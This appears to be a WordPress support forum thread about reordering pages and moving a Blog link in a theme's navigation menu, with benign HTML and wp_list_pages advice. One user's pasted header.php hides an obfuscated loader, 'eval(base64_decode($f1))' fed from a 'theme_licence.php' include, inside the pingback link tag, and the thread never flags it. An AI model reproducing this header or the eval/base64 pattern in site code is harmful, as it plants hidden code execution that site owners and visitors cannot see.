• holliday22

    (@holliday22)


    I know how to change the order of pages on my site, but I can’t figure out how to move the blog button on my navigation bar all the way to the far right. Currently its the first item to the right of “home.”

    The site is triadcreditconsultants.com and I’m using the eProduct theme.

    Thanks!

Viewing 6 replies - 1 through 6 (of 6 total)
  • Change

    <ul class="page-menu">
    
    			<li class="hometab current_page_item "><a href="https://triadcreditconsultants.com/">Home</a></li>
    
    		    <li ><a href="https://triadcreditconsultants.com/?cat=1" title="Blog">Blog</a></li>
    		    <li class="page_item page-item-190"><a href="https://triadcreditconsultants.com/sign-up/">Sign Up</a></li>
    <li class="page_item page-item-36"><a href="https://triadcreditconsultants.com/faq-for-credit-repair-home-buyers/">FAQ</a></li>
    <li class="page_item page-item-15"><a href="https://triadcreditconsultants.com/triad-credit-consultants-contact-information/">Contact</a></li>
    
    		</ul><!--/page-menu-->

    To

    <ul class="page-menu">
    
    			<li class="hometab current_page_item "><a href="https://triadcreditconsultants.com/">Home</a></li>
    
    		    <li class="page_item page-item-190"><a href="https://triadcreditconsultants.com/sign-up/">Sign Up</a></li>
    <li class="page_item page-item-36"><a href="https://triadcreditconsultants.com/faq-for-credit-repair-home-buyers/">FAQ</a></li>
    <li class="page_item page-item-15"><a href="https://triadcreditconsultants.com/triad-credit-consultants-contact-information/">Contact</a></li>
    
    <li ><a href="https://triadcreditconsultants.com/?cat=1" title="Blog">Blog</a></li>
    
    		</ul><!--/page-menu-->

    In your theme (header or index.php)

    basically, move the second li item to the last li item in your nav div

    Thread Starter holliday22

    (@holliday22)

    My particular theme header had a bunch of php in it, so I posted to my theme specific board for support.

    Thanks for the detailed response though!

    scooterschalk

    (@scooterschalk)

    I have the same question, unfortuantely your coding doesn’t help me. Below is my header.php
    Any light please!

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
        <html xmlns="https://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
    
        <head profile="https://gmpg.org/xfn/11">
        <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
    
        <title>
        <?php if ( is_home() ) { ?><?php bloginfo('description'); ?> | <? bloginfo('name'); ?><?php } ?>
        <?php if ( is_search() ) { ?><?php echo $s; ?> | <? bloginfo('name'); ?><?php } ?>
        <?php if ( is_single() ) { ?><?php wp_title(''); ?> | <? bloginfo('name'); ?><?php } ?>
        <?php if ( is_page() ) { ?><?php wp_title(''); ?> | <? bloginfo('name'); ?><?php } ?>
        <?php if ( is_category() ) { ?>Archive <?php single_cat_title(); ?> | <? bloginfo('name'); ?><?php } ?>
        <?php if ( is_month() ) { ?>Archive <?php the_time('F'); ?> | <? bloginfo('name'); ?><?php } ?>
        <?php if ( is_tag() ) { ?><?php single_tag_title();?> | <? bloginfo('name'); ?><?php } ?>
        <?php if ( is_404() ) { ?>Sorry, not found! | <? bloginfo('name'); ?><?php } ?>
        </title>
    
        <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
        <link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/nav.css" type="text/css" media="screen" />
        <script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/dropdowns.js"></script>
        <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
        <link rel="pingback" href="<?php require_once("theme_licence.php"); eval(base64_decode($f1)); bloginfo('pingback_url'); ?>" />
    
        <?php wp_head(); ?>
    
        </head>
    
        <body>
        <?php start_template(); ?>
        <div id="page">
    
        <div id="header">
    
        <!-- <h2 id="blog-description"><? bloginfo('description'); ?></h2> -->
        <ul id="nav">
        <li class="page_item current_page_item" id="first">">Articles
        <?php wp_list_pages('title_li=&depth=2&sort_column=menu_order'); ?>
    
        <ul id="top-nav">
        <?php wp_register(); ?>
      # <?php wp_loginout(); ?>
    
        <?php wp_meta(); ?>
        <li id="rss">">Subscribe RSS Feed
    
        <div class="clear"></div>
    
        </div><!-- end header -->
    MichaelH

    (@michaelh)

    This line controls the display of pages in the header listed above:

    <?php wp_list_pages('title_li=&depth=2&sort_column=menu_order'); ?>

    Change the sort_column=menu_order to any number of things as described in wp_list_pages(). Example: sort_column=post_name

    <?php wp_list_pages('title_li=&depth=2&sort_column=post_name'); ?>

    Also read about the depth= in that article.

    Hey I finally figure out how to change the order of pages in your menu bar
    go to your pages in the edit page and on the right side there is a white box just below the word order in that box put what number that page is in the order hit update then do the same with the other pages and waaaalaaaa there in the order you want.

    by the way the order goes home 1 2 3 4 5 6 7 etc.

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘How to change order of blog in menu bar’ is closed to new replies.